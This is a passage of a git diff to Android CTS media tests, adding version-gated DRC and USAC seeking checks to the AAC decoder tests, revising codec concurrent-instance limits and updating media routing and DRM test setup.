+                assertEquals("Number of channels differs for codec:" + codecName,
+                        2, downmixParams.getNumChannels());
+
+            }
+        }
+    }
+
+    /**
+     *
+     * @param decoderName
+     * @param testInput
+     * @param audioParams
+     * @param downmixChannelCount 0 if no downmix requested,
+     *                           positive number for number of channels in requested downmix
+     * @throws IOException
+     */
+    private void decodeUpdateFormat(String decoderName, int testInput, AudioParameter audioParams,
+            int downmixChannelCount)
+            throws IOException
+    {
+        AssetFileDescriptor testFd = mResources.openRawResourceFd(testInput);
+
+        MediaExtractor extractor = new MediaExtractor();
+        extractor.setDataSource(testFd.getFileDescriptor(), testFd.getStartOffset(),
+                testFd.getLength());
+        testFd.close();
+
+        assertEquals("wrong number of tracks", 1, extractor.getTrackCount());
+        MediaFormat format = extractor.getTrackFormat(0);
+        String mime = format.getString(MediaFormat.KEY_MIME);
+        assertTrue("not an audio file", mime.startsWith("audio/"));
+
+        MediaCodec decoder;
+        if (decoderName == null) {
+            decoder = MediaCodec.createDecoderByType(mime);
+        } else {
+            decoder = MediaCodec.createByCodecName(decoderName);
+        }
+
+        MediaFormat configFormat = format;
+        if (downmixChannelCount > 0) {
+            configFormat.setInteger(
+                    MediaFormat.KEY_AAC_MAX_OUTPUT_CHANNEL_COUNT, downmixChannelCount);
+        }
+
+        Log.v(TAG, "configuring with " + configFormat);
+        decoder.configure(configFormat, null /* surface */, null /* crypto */, 0 /* flags */);
+
+        decoder.start();
+        ByteBuffer[] codecInputBuffers = decoder.getInputBuffers();
+        ByteBuffer[] codecOutputBuffers = decoder.getOutputBuffers();
+
+        extractor.selectTrack(0);
+
+        // start decoding
+        final long kTimeOutUs = 5000;
+        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+        boolean sawInputEOS = false;
+        boolean sawOutputEOS = false;
+        int noOutputCounter = 0;
+        int samplecounter = 0;
+        short[] decoded = new short[0];
+        int decodedIdx = 0;
+        while (!sawOutputEOS && noOutputCounter < 50) {
+            noOutputCounter++;
+            if (!sawInputEOS) {
+                int inputBufIndex = decoder.dequeueInputBuffer(kTimeOutUs);
+
+                if (inputBufIndex >= 0) {
+                    ByteBuffer dstBuf = codecInputBuffers[inputBufIndex];
+
+                    int sampleSize =
+                            extractor.readSampleData(dstBuf, 0 /* offset */);
+
+                    long presentationTimeUs = 0;
+
+                    if (sampleSize < 0) {
+                        Log.d(TAG, "saw input EOS.");
+                        sawInputEOS = true;
+                        sampleSize = 0;
+                    } else {
+                        samplecounter++;
+                        presentationTimeUs = extractor.getSampleTime();
+                    }
+                    decoder.queueInputBuffer(
+                            inputBufIndex,
+                            0 /* offset */,
+                            sampleSize,
+                            presentationTimeUs,
+                            sawInputEOS ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
+
+                    if (!sawInputEOS) {
+                        extractor.advance();
+                    }
+                }
+            }
+
+            int res = decoder.dequeueOutputBuffer(info, kTimeOutUs);
+
+            if (res >= 0) {
+                if (info.size > 0) {
+                    noOutputCounter = 0;
+                }
+
+                int outputBufIndex = res;
+                ByteBuffer buf = codecOutputBuffers[outputBufIndex];
+
+                if (decodedIdx + (info.size / 2) >= decoded.length) {
+                    decoded = Arrays.copyOf(decoded, decodedIdx + (info.size / 2));
+                }
+
+                buf.position(info.offset);
+                for (int i = 0; i < info.size; i += 2) {
+                    decoded[decodedIdx++] = buf.getShort();
+                }
+
+                decoder.releaseOutputBuffer(outputBufIndex, false /* render */);
+
+                if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                    Log.d(TAG, "saw output EOS.");
+                    sawOutputEOS = true;
+                }
+            } else if (res == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                codecOutputBuffers = decoder.getOutputBuffers();
+                Log.d(TAG, "output buffers have changed.");
+            } else if (res == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                MediaFormat outputFormat = decoder.getOutputFormat();
+                audioParams.setNumChannels(outputFormat.getInteger(MediaFormat.KEY_CHANNEL_COUNT));
+                audioParams.setSamplingRate(outputFormat.getInteger(MediaFormat.KEY_SAMPLE_RATE));
+                Log.i(TAG, "output format has changed to " + outputFormat);
+            } else {
+                Log.d(TAG, "dequeueOutputBuffer returned " + res);
+            }
+        }
+        if (noOutputCounter >= 50) {
+            fail("decoder stopped outputing data");
+        }
+        decoder.stop();
+        decoder.release();
+        extractor.release();
+    }
+}
+
diff --git a/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java b/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
index 2d66fd1..8536f30 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
@@ -32,11 +32,15 @@
 import android.media.cts.DecoderTest.AudioParameter;
 import android.media.cts.DecoderTestAacDrc.DrcParams;
 import android.media.cts.R;
+import android.os.Build;
 import android.util.Log;
 import android.os.Bundle;
 
 import androidx.test.InstrumentationRegistry;
 
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.MediaUtils;
+
 import org.junit.Before;
 import org.junit.Test;
 
@@ -49,6 +53,9 @@
 public class DecoderTestXheAac {
     private static final String TAG = "DecoderTestXheAac";
 
+    private static final boolean sIsAndroidRAndAbove =
+            ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
+
     private Resources mResources;
 
     // list of all AAC decoders as enumerated through the MediaCodecList
@@ -227,6 +234,10 @@
     public void testDecodeUsacDrcAlbumModeM4a() throws Exception {
         Log.v(TAG, "START testDecodeUsacDrcAlbumModeM4a");
 
+        // Album mode is R feature
+        if (!MediaUtils.check(sIsAndroidRAndAbove, "Album mode support requires Android R"))
+                return;
+
         assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
 
         for (String aacDecName : sAacDecoderNames) {
@@ -358,6 +369,9 @@
     public void testDecodeUsacDrcBoostAndAttenuationM4a() throws Exception {
         Log.v(TAG, "START testDecodeUsacDrcBoostAndAttenuationM4a");
 
+        if (!MediaUtils.check(sIsAndroidRAndAbove, "Att/Boost corrected in Android R"))
+            return;
+
         assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
 
         for (String aacDecName : sAacDecoderNames) {
@@ -424,6 +438,9 @@
     public void testDecodeUsacDrcLoudnessPreferenceM4a() throws Exception {
         Log.v(TAG, "START testDecodeUsacDrcLoudnessPreferenceM4a");
 
+        if (!MediaUtils.check(sIsAndroidRAndAbove, "Loudness preference in Android R"))
+            return;
+
         assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
 
         for (String aacDecName : sAacDecoderNames) {
@@ -542,6 +559,38 @@
         }
     }
 
+
+    /**
+     * Verify that seeking works correctly for USAC.
+     * Sync samples have to be taken into consideration.
+     */
+    @Test
+    public void testDecodeUsacSyncSampleSeekingM4a() throws Exception {
+        Log.v(TAG, "START testDecodeUsacSyncSampleSeekingM4a");
+
+        assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
+
+        for (String aacDecName : sAacDecoderNames) {
+            try {
+                runDecodeUsacSyncSampleSeekingM4a(aacDecName);
+            } catch (Error err) {
+                throw new Error(err.getMessage() + " [dec=" + aacDecName + "]" , err);
+            }
+        }
+    }
+
+    private void runDecodeUsacSyncSampleSeekingM4a(String aacDecName) throws Exception {
+        Log.v(TAG, "testDecodeUsacSyncSampleSeekingM4a running for dec=" + aacDecName);
+        // test usac seeking
+        try {
+            checkUsacSyncSampleSeeking(R.raw.sine_2ch_48khz_aot42_seek_mp4, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacSyncSampleSeekingM4a failed for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+        Log.v(TAG, "testDecodeUsacSyncSampleSeekingM4a running for dec=" + aacDecName);
+    }
+
     /**
      *  Internal utilities
      */
@@ -553,6 +602,10 @@
                  String effectTypeName, int nCh, int aggressiveDrc, String decoderName)
                          throws Exception {
         for (boolean runtimeChange : new boolean[] {false, true}) {
+            if (runtimeChange && !sIsAndroidRAndAbove) {
+                // changing decoder configuration after it has been initialized requires R and above
+                continue;
+            }
             int testinput = -1;
             AudioParameter decParams = new AudioParameter();
             DrcParams drcParams_def  = new DrcParams(127, 127, 96, 0, -1);
@@ -668,12 +721,7 @@
      * USAC test DRC Album Mode
      */
     private void checkUsacDrcAlbumMode(int testinput, String decoderName) throws Exception {
-        for (int i = 0; i <= 1 ; i++) {
-            boolean runtimeChange = false;
-            if (i == 1) { /* first run: configure decoder before starting decoding,
-                             second_run: configure decoder at runtime */
-                runtimeChange = true;
-            }
+        for (boolean runtimeChange : new boolean[] {false, true}) {
             AudioParameter decParams = new AudioParameter();
             DrcParams drcParams_album_off = new DrcParams(127, 127, 64, 0, 0, 0);
             DrcParams drcParams_album_on  = new DrcParams(127, 127, 64, 0, 0, 1);
@@ -704,15 +752,14 @@
     private void checkUsacDrcBoostAndAttenuation(float normFactor_L, float normFactor_R,
                                                  int boostFactor, int attenuationFactor,
                                                  int nCh, String decoderName) throws Exception {
-        for (int i = 0; i <= 1 ; i++) {
+        for (boolean runtimeChange : new boolean[] {false, true}) {
+            if (runtimeChange && !sIsAndroidRAndAbove) {
+                // changing decoder configuration after it has been initialized requires R and above
+                continue;
+            }
 
             int testinput = R.raw.noise_2ch_32khz_aot42_19_lufs_drc_mp4;
 
-            boolean runtimeChange = false;
-            if (i == 1) { /* first run: configure decoder before starting decoding,
-                             second_run: configure decoder at runtime */
-                runtimeChange = true;
-            }
             AudioParameter decParams = new AudioParameter();
             DrcParams drcParams_def = new DrcParams(127, 127, 64, 0, 6);
             DrcParams drcParams_test = new DrcParams(boostFactor, attenuationFactor, 64, 0, 6);
@@ -770,12 +817,7 @@
     */
     private void checkUsacDrcOutputLoudness(int testInput, int decoderTargetLevel,
             int expectedOutputLoudness, String decoderName) throws Exception {
-        for (int i = 0; i <= 1 ; i++) {
-            boolean runtimeChange = false;
-            if (i == 1) { /* first run: configure decoder before starting decoding,
-                             second_run: configure decoder at runtime */
-                runtimeChange = true;
-            }
+        for (boolean runtimeChange : new boolean[] {false, true}) {
             AudioParameter decParams = new AudioParameter();
             DrcParams drcParams_test = new DrcParams(127, 127, decoderTargetLevel, 0, 6);
 
@@ -786,6 +828,17 @@
         }
     }
 
+    private void checkUsacSyncSampleSeeking(int testInput, String decoderName) throws Exception {
+
+        AudioParameter decParams = new AudioParameter();
+        DrcParams drcParams_def = new DrcParams();
+
+        short[] decSamples_seek_next_sync = decodeToMemory(decParams, testInput, -1, null,
+                drcParams_def, decoderName, false, -2, true, 1100000,
+                MediaExtractor.SEEK_TO_NEXT_SYNC);
+        float[] nrg_seek_next_sync = checkEnergyUSAC(decSamples_seek_next_sync, decParams, 2, 1);
+    }
+
     /**
      * Perform a segmented energy analysis on given audio signal samples and run several tests on
      * the energy values.
@@ -1158,14 +1211,20 @@
      * @param drcParams the MPEG-D DRC decoder parameter configuration
      * @param decoderName if non null, the name of the decoder to use for the decoding, otherwise
      *     the default decoder for the format will be used
-     * @param runtimeChange defines whether the decoder is configured at runtime or not
+     * @param runtimeChange defines whether the decoder is configured at runtime or configured
+     *                      before starting to decode
      * @param expectedOutputLoudness value to check if the correct output loudness is returned
      *     by the decoder
+     * @param seek_enable defines whether there will be an initial seek
+     * @param seek_duration seeking duration in microseconds
+     * @param seek_mode seeking mode 
+     *
      * @throws RuntimeException
      */
     public short[] decodeToMemory(AudioParameter audioParams, int testinput, int eossample,
             List<Long> timestamps, DrcParams drcParams, String decoderName, boolean runtimeChange,
-            int expectedOutputLoudness) throws IOException {
+            int expectedOutputLoudness,
+            boolean seek_enable, int seek_duration, int seek_mode) throws IOException {
         // TODO: code is the same as in DecoderTest, differences are:
         //          - addition of application of DRC parameters
         //          - no need/use of resetMode, configMode
@@ -1223,7 +1282,7 @@
         Log.v(localTag, "configuring with " + configFormat);
         codec.configure(configFormat, null /* surface */, null /* crypto */, 0 /* flags */);
 
-        if (drcParams != null) {
+        if (drcParams != null && sIsAndroidRAndAbove) { // querying output format requires R
             if(!runtimeChange) {
                 if (drcParams.mAlbumMode != 0) {
                     int albumModeFromCodec = codec.getOutputFormat()
@@ -1274,6 +1333,12 @@
 
         extractor.selectTrack(0);
 
+        // execute initial seeking if specified
+        if (seek_enable) {
+            codec.flush();
+            extractor.seekTo(seek_duration, seek_mode);
+        }
+
         // start decoding
         final long kTimeOutUs = 5000;
         MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
@@ -1374,38 +1439,40 @@
         }
 
         // check if MediaCodec gives back correct drc parameters
-        if (drcParams != null) {
+        if (drcParams != null && sIsAndroidRAndAbove) {
             if (drcParams.mAlbumMode != 0) {
                 final int albumModeFromCodec = codec.getOutputFormat()
                         .getInteger(MediaFormat.KEY_AAC_DRC_ALBUM_MODE);
-                if (false) { // TODO disabled until b/157773721 fixed
-                    if (albumModeFromCodec != drcParams.mAlbumMode) {
-                        fail("Drc AlbumMode received from MediaCodec is not the Album Mode set");
-                    }
-                }
+                assertEquals("DRC AlbumMode received from MediaCodec is not the Album Mode set"
+                        + " runtime:" + runtimeChange, drcParams.mAlbumMode, albumModeFromCodec);
             }
             if (drcParams.mEffectType != 0) {
                 final int effectTypeFromCodec = codec.getOutputFormat()
                         .getInteger(MediaFormat.KEY_AAC_DRC_EFFECT_TYPE);
-                if (false) { // TODO disabled until b/157773721 fixed
-                    if (effectTypeFromCodec != drcParams.mEffectType) {
-                        fail("Drc Effect Type received from MediaCodec is not the Effect Type set");
-                    }
-                }
+                assertEquals("DRC Effect Type received from MediaCodec is not the Effect Type set"
+                        + " runtime:" + runtimeChange, drcParams.mEffectType, effectTypeFromCodec);
             }
             if (drcParams.mDecoderTargetLevel != 0) {
                 final int targetLevelFromCodec = codec.getOutputFormat()
                         .getInteger(MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL);
-                if (false) { // TODO disabled until b/157773721 fixed
-                    if (targetLevelFromCodec != drcParams.mDecoderTargetLevel) {
-                        fail("Drc Target Reference Level received from MediaCodec is not the Target Reference Level set");
-                    }
-                }
+                assertEquals("DRC Target Ref Level received from MediaCodec is not the level set"
+                        + " runtime:" + runtimeChange,
+                        drcParams.mDecoderTargetLevel, targetLevelFromCodec);
             }
+
+            final MediaFormat outputFormat = codec.getOutputFormat();
+            final int cutFromCodec = outputFormat.getInteger(
+                    MediaFormat.KEY_AAC_DRC_ATTENUATION_FACTOR);
+            assertEquals("Attenuation factor received from MediaCodec differs from set:",
+                    drcParams.mCut, cutFromCodec);
+            final int boostFromCodec = outputFormat.getInteger(
+                    MediaFormat.KEY_AAC_DRC_BOOST_FACTOR);
+            assertEquals("Boost factor received from MediaCodec differs from set:",
+                    drcParams.mBoost, boostFromCodec);
         }
 
         // expectedOutputLoudness == -2 indicates that output loudness is not tested
-        if (expectedOutputLoudness != -2) {
+        if (expectedOutputLoudness != -2 && sIsAndroidRAndAbove) {
             final int outputLoudnessFromCodec = codec.getOutputFormat()
                     .getInteger(MediaFormat.KEY_AAC_DRC_OUTPUT_LOUDNESS);
             if (outputLoudnessFromCodec != expectedOutputLoudness) {
@@ -1423,7 +1490,7 @@
             throws IOException
     {
         final short[] decoded = decodeToMemory(audioParams, testinput, eossample, timestamps,
-                drcParams, decoderName, false, -2);
+                drcParams, decoderName, false, -2, false, 0, 0);
         return decoded;
     }
 
@@ -1433,9 +1500,18 @@
         throws IOException
     {
         final short[] decoded = decodeToMemory(audioParams, testinput, eossample, timestamps,
-                drcParams, decoderName, runtimeChange, -2);
+                drcParams, decoderName, runtimeChange, -2, false, 0, 0);
         return decoded;
     }
 
+    private short[] decodeToMemory(AudioParameter audioParams, int testinput,
+        int eossample, List<Long> timestamps, DrcParams drcParams, String decoderName,
+        boolean runtimeChange, int expectedOutputLoudness)
+        throws IOException
+    {
+        short [] decoded = decodeToMemory(audioParams, testinput, eossample, timestamps, drcParams,
+                decoderName, runtimeChange, expectedOutputLoudness, false, 0, 0);
+        return decoded;
+    }
 }
 
diff --git a/tests/tests/media/src/android/media/cts/MediaCasTest.java b/tests/tests/media/src/android/media/cts/MediaCasTest.java
index 0501452..537e606 100644
--- a/tests/tests/media/src/android/media/cts/MediaCasTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCasTest.java
@@ -34,6 +34,8 @@
 import android.util.Log;
 
 import androidx.test.filters.SmallTest;
+import androidx.test.InstrumentationRegistry;
+
 import com.android.compatibility.common.util.ApiLevelUtil;
 import com.android.compatibility.common.util.MediaUtils;
 import com.android.compatibility.common.util.PropertyUtil;
@@ -151,6 +153,13 @@
             "65 79 69 6e 74 5f 6d 69  6e 3d 32 35 20 73 63 65" +
             "6e 65                                           " ;
 
+    // Need MANAGE_USERS or CREATE_USERS permission to access ActivityManager#getCurrentUse,
+    // then adopt it from shell.
+    public void setUp() throws Exception {
+        InstrumentationRegistry
+            .getInstrumentation().getUiAutomation().adoptShellPermissionIdentity();
+    }
+
     /**
      * Test that all enumerated CA systems can be instantiated.
      *
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecBlockModelTest.java b/tests/tests/media/src/android/media/cts/MediaCodecBlockModelTest.java
index 58eec3e..f6ac4f7 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecBlockModelTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecBlockModelTest.java
@@ -59,6 +59,7 @@
 /**
  * MediaCodec tests with CONFIGURE_FLAG_USE_BLOCK_MODEL.
  */
+@NonMediaMainlineTest
 public class MediaCodecBlockModelTest extends AndroidTestCase {
     private static final String TAG = "MediaCodecBlockModelTest";
     private static final boolean VERBOSE = false;           // lots of logging
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java b/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java
index d17e702..7e75fb7 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java
@@ -35,7 +35,6 @@
 import static android.media.MediaFormat.MIMETYPE_VIDEO_VP9;
 import android.media.MediaPlayer;
 import android.os.Build;
-import android.os.SystemProperties;
 import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 import android.util.Range;
@@ -697,6 +696,7 @@
     private int getActualMax(
             boolean isEncoder, String name, String mime, CodecCapabilities caps, int max) {
         int flag = isEncoder ? MediaCodec.CONFIGURE_FLAG_ENCODE : 0;
+        boolean memory_limited = false;
         MediaFormat format = createMinFormat(mime, caps);
         Log.d(TAG, "Test format " + format);
         Vector<MediaCodec> codecs = new Vector<MediaCodec>();
@@ -716,6 +716,7 @@
                 am.getMemoryInfo(outInfo);
                 if (outInfo.lowMemory) {
                     Log.d(TAG, "System is in low memory condition, stopping. max: " + i);
+                    memory_limited = true;
                     break;
                 }
             } catch (IllegalArgumentException e) {
@@ -745,6 +746,10 @@
             codecs.get(i).release();
         }
         codecs.clear();
+        // encode both actual max and whether we ran out of memory
+        if (memory_limited) {
+            actualMax = -actualMax;
+        }
         return actualMax;
     }
 
@@ -773,13 +778,20 @@
     }
 
     public void testGetMaxSupportedInstances() {
-        final int MAX_INSTANCES = 32;
         StringBuilder xmlOverrides = new StringBuilder();
         MediaCodecList allCodecs = new MediaCodecList(MediaCodecList.ALL_CODECS);
+        final boolean isLowRam = ActivityManager.isLowRamDeviceStatic();
         for (MediaCodecInfo info : allCodecs.getCodecInfos()) {
             Log.d(TAG, "codec: " + info.getName());
             Log.d(TAG, "  isEncoder = " + info.isEncoder());
 
+            // don't bother testing aliases
+            if (info.isAlias()) {
+                Log.d(TAG, "skipping: " + info.getName() + " is an alias for " +
+                                info.getCanonicalName());
+                continue;
+            }
+
             String[] types = info.getSupportedTypes();
             for (int j = 0; j < types.length; ++j) {
                 if (!knownTypes(types[j])) {
@@ -788,14 +800,55 @@
                 }
                 Log.d(TAG, "calling getCapabilitiesForType " + types[j]);
                 CodecCapabilities caps = info.getCapabilitiesForType(types[j]);
-                int max = caps.getMaxSupportedInstances();
-                Log.d(TAG, "getMaxSupportedInstances returns " + max);
-                assertTrue(max > 0);
+                int advertised = caps.getMaxSupportedInstances();
+                Log.d(TAG, "getMaxSupportedInstances returns " + advertised);
+                assertTrue(advertised > 0);
 
+                // see how well the declared max matches against reality
+
+                int tryMax = isLowRam ? 16 : 32;
+                int tryMin = isLowRam ? 4 : 16;
+
+                int trials = Math.min(advertised + 2, tryMax);
                 int actualMax = getActualMax(
-                        info.isEncoder(), info.getName(), types[j], caps, MAX_INSTANCES);
-                Log.d(TAG, "actualMax " + actualMax + " vs reported max " + max);
-                if (actualMax < (int)(max * 0.9) || actualMax > (int) Math.ceil(max * 1.1)) {
+                        info.isEncoder(), info.getName(), types[j], caps, trials);
+                Log.d(TAG, "actualMax " + actualMax + " vs advertised " + advertised
+                                + " tryMin " + tryMin + " tryMax " + tryMax);
+
+                boolean memory_limited = false;
+                if (actualMax < 0) {
+                    memory_limited = true;
+                    actualMax = -actualMax;
+                }
+
+                boolean compliant = true;
+                if (info.isHardwareAccelerated()) {
+                    // very specific bounds for HW codecs
+                    // so the adv+2 above is to see if the HW codec lets us go beyond adv
+                    // (it should not)
+                    if (actualMax != Math.min(advertised, tryMax)) {
+                        Log.d(TAG, "NO: hwcodec " + actualMax + " != min(" + advertised +
+                                            "," + tryMax + ")");
+                        compliant = false;
+                    }
+                } else {
+                    // sw codecs get a little more relaxation due to memory pressure
+                    if (actualMax >= Math.min(advertised, tryMax)) {
+                        // no memory issues, and we allocated them all
+                        Log.d(TAG, "OK: swcodec " + actualMax + " >= min(" + advertised +
+                                        "," + tryMax + ")");
+                    } else if (actualMax >= Math.min(advertised, tryMin) &&
+                                    memory_limited) {
+                        // memory issues, but we hit our floors
+                        Log.d(TAG, "OK: swcodec " + actualMax + " >= min(" + advertised +
+                                        "," + tryMin + ") + memory limited");
+                    } else {
+                        Log.d(TAG, "NO: swcodec didn't meet criteria");
+                        compliant = false;
+                    }
+                }
+
+                if (!compliant) {
                     String codec = "<MediaCodec name=\"" + info.getName() +
                             "\" type=\"" + types[j] + "\" >";
                     String limit = "    <Limit name=\"concurrent-instances\" max=\"" +
diff --git a/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java b/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
index f648a3c..6438cd0 100644
--- a/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
@@ -27,6 +27,9 @@
 import android.platform.test.annotations.Presubmit;
 import android.util.Base64;
 import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
 import android.view.Surface;
 
 import com.android.compatibility.common.util.ApiLevelUtil;
@@ -115,6 +118,10 @@
         if (false == deviceHasMediaDrm()) {
             tearDown();
         }
+        // Need MANAGE_USERS or CREATE_USERS permission to access ActivityManager#getCurrentUse in
+        // MediaCas, then adopt it from shell.
+        InstrumentationRegistry
+            .getInstrumentation().getUiAutomation().adoptShellPermissionIdentity();
     }
 
     @Override
diff --git a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
index 42c9f29..48208d9 100644
--- a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
@@ -599,14 +599,20 @@
     }
 
     public void testThumbnailVP9Hdr() {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
+
         testThumbnail(R.raw.video_1280x720_vp9_hdr_static_3mbps, 1280, 720);
     }
 
     public void testThumbnailAV1Hdr() {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
+
         testThumbnail(R.raw.video_1280x720_av1_hdr_static_3mbps, 1280, 720);
     }
 
     public void testThumbnailHDR10() {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
+
         testThumbnail(R.raw.video_1280x720_hevc_hdr10_static_3mbps, 1280, 720);
     }
 
diff --git a/tests/tests/media/src/android/media/cts/MediaRouter2Test.java b/tests/tests/media/src/android/media/cts/MediaRouter2Test.java
index 238da0b..48466d5 100644
--- a/tests/tests/media/src/android/media/cts/MediaRouter2Test.java
+++ b/tests/tests/media/src/android/media/cts/MediaRouter2Test.java
@@ -17,6 +17,7 @@
 package android.media.cts;
 
 import static android.content.Context.AUDIO_SERVICE;
+import static android.media.MediaRoute2Info.FEATURE_LIVE_AUDIO;
 import static android.media.MediaRoute2Info.PLAYBACK_VOLUME_VARIABLE;
 import static android.media.cts.StubMediaRoute2ProviderService.FEATURES_SPECIAL;
 import static android.media.cts.StubMediaRoute2ProviderService.FEATURE_SAMPLE;
@@ -90,6 +91,9 @@
     private static final String TEST_VALUE = "test_value";
     private static final RouteDiscoveryPreference EMPTY_DISCOVERY_PREFERENCE =
             new RouteDiscoveryPreference.Builder(Collections.emptyList(), false).build();
+    private static final RouteDiscoveryPreference LIVE_AUDIO_DISCOVERY_PREFERENCE =
+            new RouteDiscoveryPreference.Builder(
+                    Collections.singletonList(FEATURE_LIVE_AUDIO), false).build();
 
     @Before
     public void setUp() throws Exception {
@@ -124,10 +128,16 @@
 
     @Test
     public void testGetRoutesAfterCreation() {
-        List<MediaRoute2Info> initialRoutes = mRouter2.getRoutes();
-        assertFalse(initialRoutes.isEmpty());
-        for (MediaRoute2Info route : initialRoutes) {
-            assertTrue(route.isSystemRoute());
+        RouteCallback routeCallback = new RouteCallback() {};
+        mRouter2.registerRouteCallback(mExecutor, routeCallback, LIVE_AUDIO_DISCOVERY_PREFERENCE);
+        try {
+            List<MediaRoute2Info> initialRoutes = mRouter2.getRoutes();
+            assertFalse(initialRoutes.isEmpty());
+            for (MediaRoute2Info route : initialRoutes) {
+                assertTrue(route.getFeatures().contains(FEATURE_LIVE_AUDIO));
+            }
+        } finally {
+            mRouter2.unregisterRouteCallback(routeCallback);
         }
     }
 
@@ -138,18 +148,13 @@
     public void testGetRoutes() throws Exception {
         Map<String, MediaRoute2Info> routes = waitAndGetRoutes(FEATURES_SPECIAL);
 
-        int systemRouteCount = 0;
         int remoteRouteCount = 0;
         for (MediaRoute2Info route : routes.values()) {
-            if (route.isSystemRoute()) {
-                systemRouteCount++;
-            } else {
+            if (!route.isSystemRoute()) {
                 remoteRouteCount++;
             }
         }
 
-        // Can be greater than 1 if BT devices are connected.
-        assertTrue(systemRouteCount > 0);
         assertEquals(1, remoteRouteCount);
         assertNotNull(routes.get(ROUTE_ID_SPECIAL_FEATURE));
     }
@@ -280,6 +285,8 @@
         final CountDownLatch successLatch2 = new CountDownLatch(1);
         final CountDownLatch failureLatch = new CountDownLatch(1);
         final CountDownLatch stopLatch = new CountDownLatch(1);
+        final CountDownLatch onReleaseSessionLatch = new CountDownLatch(1);
+
         final List<RoutingController> createdControllers = new ArrayList<>();
 
         // Create session with this route
@@ -306,6 +313,16 @@
             }
         };
 
+        StubMediaRoute2ProviderService service = mService;
+        if (service != null) {
+            service.setProxy(new StubMediaRoute2ProviderService.Proxy() {
+                @Override
+                public void onReleaseSession(long requestId, String sessionId) {
+                    onReleaseSessionLatch.countDown();
+                }
+            });
+        }
+
         Map<String, MediaRoute2Info> routes = waitAndGetRoutes(sampleRouteType);
         MediaRoute2Info route1 = routes.get(ROUTE_ID1);
         MediaRoute2Info route2 = routes.get(ROUTE_ID2);
@@ -332,15 +349,19 @@
             RoutingController controller1 = createdControllers.get(0);
             RoutingController controller2 = createdControllers.get(1);
 
-            // The first controller is expected to be released.
-            assertTrue(controller1.isReleased());
-
             assertNotEquals(controller1.getId(), controller2.getId());
             assertTrue(createRouteMap(controller1.getSelectedRoutes()).containsKey(
                     ROUTE_ID1));
             assertTrue(createRouteMap(controller2.getSelectedRoutes()).containsKey(
                     ROUTE_ID2));
 
+            // Transferred controllers shouldn't be obtainable.
+            assertFalse(mRouter2.getControllers().contains(controller1));
+            assertTrue(mRouter2.getControllers().contains(controller2));
+
+            // Should be able to release transferred controllers.
+            controller1.release();
+            assertTrue(onReleaseSessionLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
         } finally {
             releaseControllers(createdControllers);
             mRouter2.unregisterRouteCallback(routeCallback);
@@ -996,8 +1017,7 @@
             }
         };
 
-        mRouter2.registerRouteCallback(mExecutor, routeCallback,
-                new RouteDiscoveryPreference.Builder(new ArrayList<>(), true).build());
+        mRouter2.registerRouteCallback(mExecutor, routeCallback, LIVE_AUDIO_DISCOVERY_PREFERENCE);
 
         try {
             mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, targetVolume, 0);
diff --git a/tests/tests/media/src/android/media/cts/NativeEncoderTest.java b/tests/tests/media/src/android/media/cts/NativeEncoderTest.java
deleted file mode 100644
index 5cacfe1..0000000
--- a/tests/tests/media/src/android/media/cts/NativeEncoderTest.java
+++ /dev/null
@@ -1,203 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.cts.R;
-
-import android.content.res.AssetFileDescriptor;
-import android.content.res.Resources;
-import android.net.Uri;
-import android.os.Environment;
-import android.os.ParcelFileDescriptor;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-import android.view.Surface;
-import android.webkit.cts.CtsTestServer;
-
